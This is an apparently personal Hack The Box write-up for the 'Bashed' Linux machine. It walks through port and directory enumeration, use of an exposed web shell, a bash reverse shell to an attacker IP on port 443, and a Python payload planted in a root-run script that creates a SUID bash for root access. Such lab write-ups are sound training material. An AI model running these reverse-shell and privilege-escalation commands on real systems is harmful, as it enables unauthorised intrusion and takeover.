Writeups

Aquí puedes encontrar algunos writeups de máquinas de Hack The Box que he resuelto. Ábrelos para ver los detalles de cada máquina, incluyendo los pasos que seguí para resolverlas, las herramientas que utilicé y los retos a los que me enfrenté.

No dudes en ponerte en contacto si tienes alguna pregunta o quieres discutir cualquier cosa relacionada con la ciberseguridad o el desarrollo web.

Ver otros writeups

Bashed

Bashed icon

Difficulty: Easy

OS: Linux

Solved on: 2025/10/02

htb logo

Enumeration

We start by scanning the target machine for open ports using Nmap. We will use the -p- option to scan all ports and the --open option to filter out closed ports:

nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.68 -o allPorts
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 63

Now we will scan the open ports with service version detection and script scanning using -sC and -sV options

nmap -p <ports> -sCV <dns>.htb -o targeted
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)

We find a web server running Apache 2.4.18 on port 80. We will visit the website in our browser to see if there is any interesting content.

We do not see much on the homepage, so we will use a directory brute-forcing tool like ffuf to find hidden directories and files.

ffuf -u http://10.10.10.68/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
php                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 35ms]
css                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 36ms]
dev                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 35ms]
js                      [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 35ms]
images                  [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 4991ms]

We find a directory named dev. If we visit it, we see a directory listing page.

We find in phpbash.php a bash web shell. We can use it to execute commands on the target machine.

User Exploitation

We can use this on our advantage to get a reverse shell. We will use a simple bash reverse shell payload.

First, we will set up a listener on our machine using netcat: We set up a netcat listener on our machine to catch the reverse shell.

nc -lvnp 443

Then, we will execute the following command in the web shell to get a reverse shell:

bash -c "bash -i >%26 /dev/tcp/10.10.14.10/443 0>%261"
whoami
www-data

Now we can see the user flag in /home/arrexel/user.txt.

Root Exploitation

We check the sudo privileges of the www-data user.

sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

We can run commands as the scriptmanager user without a password. We will switch to the scriptmanager user using sudo -u.

sudo -u scriptmanager bash
whoami
scriptmanager

We look for files owned by the scriptmanager user outside his home directory or /proc.

find / -user scriptmanager 2>/dev/null | grep -v "/proc" | grep -v "/home/scriptmanager"
/scripts
/scripts/test.py

We look at the /scripts/test.py file.

f = open("test.txt", "w")
f.write("testing 123!")
f.close

We also find a test.txt file in the /scripts directory.

cat /scripts/test.txt
testing 123!

We guess that root runs this script periodically since test.txt is owned by root.

We will use a simple python payload to try to escalate our privileges.

import os

os.system("cp /bin/bash /tmp/bash; chmod +xs /tmp/bash")

We wait for the script to run and then we can use the /tmp/bash shell to get a root shell.

ls -la /tmp/bash
-rwsr-xr-x 1 root root 1113504 Oct  2 19:25 /tmp/bash
/tmp/bash -p
whoami
root

Conclusion

We have successfully exploited the Bashed machine and obtained both user and root flags. The key steps involved finding a web shell, leveraging it to get a reverse shell, and then exploiting sudo privileges to escalate to root.


Ver otros writeups

Aquí puedes encontrar algunos writeups de máquinas de Hack The Box que he resuelto. Ábrelos para ver los detalles de cada máquina, incluyendo los pasos que seguí para resolverlas, las herramientas que utilicé y los retos a los que me enfrenté.